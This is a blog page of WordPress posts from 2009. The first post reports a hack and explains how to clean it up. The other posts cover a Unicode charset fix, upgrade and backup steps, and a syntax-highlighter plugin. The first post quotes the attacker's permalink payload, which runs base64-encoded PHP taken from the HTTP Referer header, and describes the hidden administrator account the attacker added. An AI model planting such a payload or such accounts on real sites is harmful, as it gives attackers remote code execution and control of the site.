WordPress Code At The End Of URLs, Hack?
| Posted by watashii | Filed under WordPress
http://blog.watashii.com/2009/09/05/wordpress-code-at-the-end-of-urls-hack/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
Possibly a new WordPress hack happening at the moment? Just got this weird code appended at the end of every URL on my WordPress blog. This is due to the Permalink Settings being changed to a custom one. To revert it back, simply go to your [Dashboard > Settings > Permalink], and revert the Custom Structure back to your original default option.
I’ve also noticed there is a few more users (a new Administrator and a bunch of Subscribers) being added by this hack [Dashboard > Users]. You may also notice the new administrator user is hidden from display. What I did was to view the page source to pull their User ID. Then edit this user to demote it to a subscriber (http://your_blog_url/wp-admin/user-edit.php?user_id=XXX), and rename their javascripted first name. Thereafter deleted these extra subscribers.
Also I upgraded to the latest version WP 2.8.4 from 2.7.
Follow discussion here.
Display WordPress Unicoded Characters
| Posted by watashii | Filed under Web, WordPressRecently upgraded my WP blog, and released some japanese/chinese characters (in Unicode) were displaying strangely, giving me question marks (????) and funny symbols (トトãƒ).
I learnt that this can be fixed by modifying the WP source file wp-config.php on the web server. The change required is simply commenting the following 2 lines of code, by adding a // in front of:
/** Database Charset to use in creating database tables. */
//define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
//define('DB_COLLATE', '');
Upgrading to WordPress 2.7 Coltrane
| Posted by watashii | Filed under Unix, WordPress
I have just gone through the tedious task of upgrading my WP from 2.5 to 2.7. What i’m looking forward to this is the WP Upgrader feature which I can upgrade WP directly via the Admin panel. This means I don’t need to manually move files in/out of my linux web server in the future. Of course i have to manually put 2.7 in the first place to do that!
Upgrade document is available here, below are my steps.
1) Backup all my file contents on web server.
tar -cvf - $WEBHOME/blog_dir | gzip -9 $WEBHOME/backup_dir/my_blog.tar.gz
2) Backup the mysql database. I used WP-DBManager plugin to help me do this. A single click and that’s it!
3) Deactivated all the plugins via admin panel.
4) Delete wp-admin and wp-includes directories on web server.
rm -rf $WEBHOME/blog_dir/wp-admin $WEBHOME/blog_dir/wp-includes
5) Download the new WP and place/replace all the files on web server.
6) Login to the admin panel and accept the database upgrade changes.
7) Activate the required plugins. If using the WordPress.com Stats plugin, I had to ‘transfer’ my old site stats to a new site, even though its the same site.
Tags: backup, coltrane, WordPress
Wordpress Syntax Highlighter
| Posted by watashii | Filed under WordPressWhile trying to find a way to syntax highlighting / autoformat programming code on WordPress, I came across this. After a while, I realised it only works for WordPress hosted page. To enable syntax highlighting on a self hosted WordPress blog, you need to install the Google Syntax Highlighter plugin.
Here are the installation steps:
1) Download the plugin zip file.
2) Extract plugin into /wp-content/plugins directory.
3) Activate the plugin.
4) When posting, use the HTML editor and insert the following code:
<pre name="code" class="sql">
select * from tab;
</pre>
5) Hopefully looks like:
select * from tab;
The google documentation for using the syntax highligher is available here.
Tags: form, highlight, highlighter, source code, syntax, WordPress